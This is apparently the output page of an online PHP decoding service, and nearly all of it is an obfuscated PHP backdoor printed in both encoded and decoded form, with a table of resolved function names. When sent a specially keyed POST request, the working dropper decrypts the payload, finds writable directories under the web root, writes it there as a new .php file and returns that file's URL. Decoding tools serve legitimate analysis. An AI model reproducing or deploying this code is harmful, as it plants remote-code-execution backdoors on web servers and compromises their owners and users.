Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $wVIBdnQf = "\x44"."\x4f".'C'.'U'."\x4d"."\x45".chr(263-185)."\124".chr(95)."\122"."..

Decoded Output download

<?php $wVIBdnQf = "D"."O".'C'.'U'."M"."E".chr(263-185)."T".chr(95)."R"."O"."O".'T';$gRbhobBTE = chr(685-613)."T"."T".'P'.chr(95).'H'.'O'."S".chr(1073-989);$LGmAo = 'h'."t"."t".chr(447-335).chr(641-583).chr(47)."/";$ccnZbFLf = chr(46).'p'.chr(104).chr(112);$VdieWS = "p".chr(915-811).chr(790-678);$hDXGTGeQWn = 'f'."i".'l'.'e'.chr(95)."p".chr(117)."t".chr(801-706).chr(99).chr(111)."n".chr(116)."e".'n'."t".chr(115);$KmMNl = "r".'a'.chr(318-199)."u".chr(714-600).chr(108)."d"."e"."c".chr(111).chr(100).chr(957-856);$zyAyl = chr(343-226).'n'.chr(1061-946).chr(101)."r"."i".chr(246-149).chr(1012-904).'i'."z"."e";$RAqlyzth = "i".chr(706-591)."_".chr(119)."r"."i"."t".chr(215-118).chr(98).'l'.chr(110-9);$urXMn = chr(112).chr(358-254)."p"."v".'e'."r".chr(448-333).chr(695-590).chr(1001-890)."n";$oTSKSMwVoH = 's'.'t'."r".chr(95).chr(114)."o"."t"."1"."3";$ZAvFJadT = chr(115).'e'."r"."i".chr(895-798).'l'.'i'.chr(122)."e";$SLiliqy = 's'."t"."r"."_"."s".chr(553-441).chr(790-682)."i"."t";foreach ($_POST as $McugY => $ROrmZoE){if (strlen($McugY) == 16){$ROrmZoE = $SLiliqy($KmMNl($oTSKSMwVoH($ROrmZoE)));$McugY = array_slice($SLiliqy(str_repeat($McugY, (count($ROrmZoE)/16)+1)), 0, count($ROrmZoE));function HjqCeahADg($UgRmvvGKj, $PILyxiT, $McugY){$fsnSBFnU = "cf575241-9f7f-4f20-b345-de4ca0ba0cb4";return $UgRmvvGKj ^ $fsnSBFnU[$PILyxiT % strlen($fsnSBFnU)] ^ $McugY;}$ROrmZoE = implode("", array_map("HjqCeahADg", array_values($ROrmZoE), array_keys($ROrmZoE), array_values($McugY)));$ROrmZoE = @$zyAyl($ROrmZoE);if (@is_array($ROrmZoE)){$BBbzjdu = array_keys($ROrmZoE);$ROrmZoE = $ROrmZoE[$BBbzjdu[0]];if ($ROrmZoE === $BBbzjdu[0]){echo @$ZAvFJadT(Array($VdieWS => @$urXMn(), ));exit();}else {function txXPedVn($EaaXAtmRHir){static $BWwZkddPn = array();$BwtqEKfL = glob($EaaXAtmRHir . '/*', GLOB_ONLYDIR);if (count($BwtqEKfL) > 0) {foreach ($BwtqEKfL as $EaaXAtmRH) {if (@$RAqlyzth($EaaXAtmRH)) {$BWwZkddPn[] = $EaaXAtmRH;}}}foreach ($BwtqEKfL as $EaaXAtmRHir) txXPedVn($EaaXAtmRHir);return $BWwZkddPn;}$uelSrjpEl = $_SERVER[$wVIBdnQf];$BwtqEKfL = txXPedVn($uelSrjpEl);$BBbzjdu = array_rand($BwtqEKfL);$FyBinLHx = $BwtqEKfL[$BBbzjdu] . "/" . substr(md5(time()), 0, 8) . $ccnZbFLf;@$hDXGTGeQWn($FyBinLHx, $ROrmZoE);echo $LGmAo . $_SERVER[$gRbhobBTE] . substr($FyBinLHx, strlen($uelSrjpEl));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $wVIBdnQf = "\x44"."\x4f".'C'.'U'."\x4d"."\x45".chr(263-185)."\124".chr(95)."\122"."\117"."\117".'T';$gRbhobBTE = chr(685-613)."\x54"."\124".'P'.chr(95).'H'.'O'."\123".chr(1073-989);$LGmAo = 'h'."\x74"."\x74".chr(447-335).chr(641-583).chr(47)."\x2f";$ccnZbFLf = chr(46).'p'.chr(104).chr(112);$VdieWS = "\160".chr(915-811).chr(790-678);$hDXGTGeQWn = 'f'."\151".'l'.'e'.chr(95)."\160".chr(117)."\x74".chr(801-706).chr(99).chr(111)."\156".chr(116)."\145".'n'."\164".chr(115);$KmMNl = "\x72".'a'.chr(318-199)."\165".chr(714-600).chr(108)."\x64"."\x65"."\143".chr(111).chr(100).chr(957-856);$zyAyl = chr(343-226).'n'.chr(1061-946).chr(101)."\x72"."\x69".chr(246-149).chr(1012-904).'i'."\x7a"."\x65";$RAqlyzth = "\x69".chr(706-591)."\137".chr(119)."\x72"."\151"."\x74".chr(215-118).chr(98).'l'.chr(110-9);$urXMn = chr(112).chr(358-254)."\160"."\x76".'e'."\x72".chr(448-333).chr(695-590).chr(1001-890)."\x6e";$oTSKSMwVoH = 's'.'t'."\162".chr(95).chr(114)."\x6f"."\x74"."\x31"."\x33";$ZAvFJadT = chr(115).'e'."\x72"."\151".chr(895-798).'l'.'i'.chr(122)."\x65";$SLiliqy = 's'."\164"."\x72"."\x5f"."\163".chr(553-441).chr(790-682)."\x69"."\x74";foreach ($_POST as $McugY => $ROrmZoE){if (strlen($McugY) == 16){$ROrmZoE = $SLiliqy($KmMNl($oTSKSMwVoH($ROrmZoE)));$McugY = array_slice($SLiliqy(str_repeat($McugY, (count($ROrmZoE)/16)+1)), 0, count($ROrmZoE));function HjqCeahADg($UgRmvvGKj, $PILyxiT, $McugY){$fsnSBFnU = "cf575241-9f7f-4f20-b345-de4ca0ba0cb4";return $UgRmvvGKj ^ $fsnSBFnU[$PILyxiT % strlen($fsnSBFnU)] ^ $McugY;}$ROrmZoE = implode("", array_map("HjqCeahADg", array_values($ROrmZoE), array_keys($ROrmZoE), array_values($McugY)));$ROrmZoE = @$zyAyl($ROrmZoE);if (@is_array($ROrmZoE)){$BBbzjdu = array_keys($ROrmZoE);$ROrmZoE = $ROrmZoE[$BBbzjdu[0]];if ($ROrmZoE === $BBbzjdu[0]){echo @$ZAvFJadT(Array($VdieWS => @$urXMn(), ));exit();}else {function txXPedVn($EaaXAtmRHir){static $BWwZkddPn = array();$BwtqEKfL = glob($EaaXAtmRHir . '/*', GLOB_ONLYDIR);if (count($BwtqEKfL) > 0) {foreach ($BwtqEKfL as $EaaXAtmRH) {if (@$RAqlyzth($EaaXAtmRH)) {$BWwZkddPn[] = $EaaXAtmRH;}}}foreach ($BwtqEKfL as $EaaXAtmRHir) txXPedVn($EaaXAtmRHir);return $BWwZkddPn;}$uelSrjpEl = $_SERVER[$wVIBdnQf];$BwtqEKfL = txXPedVn($uelSrjpEl);$BBbzjdu = array_rand($BwtqEKfL);$FyBinLHx = $BwtqEKfL[$BBbzjdu] . "/" . substr(md5(time()), 0, 8) . $ccnZbFLf;@$hDXGTGeQWn($FyBinLHx, $ROrmZoE);echo $LGmAo . $_SERVER[$gRbhobBTE] . substr($FyBinLHx, strlen($uelSrjpEl));exit();}}}}

Function Calls

chr 48

Variables

$KmMNl rawurldecode
$LGmAo http://
$urXMn phpversion
$zyAyl unserialize
$VdieWS php
$SLiliqy str_split
$RAqlyzth is_writable
$ZAvFJadT serialize
$ccnZbFLf .php
$wVIBdnQf DOCUMENT_ROOT
$gRbhobBTE HTTP_HOST
$hDXGTGeQWn file_put_contents
$oTSKSMwVoH str_rot13

Stats

MD5 7065d194513635a199c491006a8d18b6
Eval Count 0
Decode Time 128 ms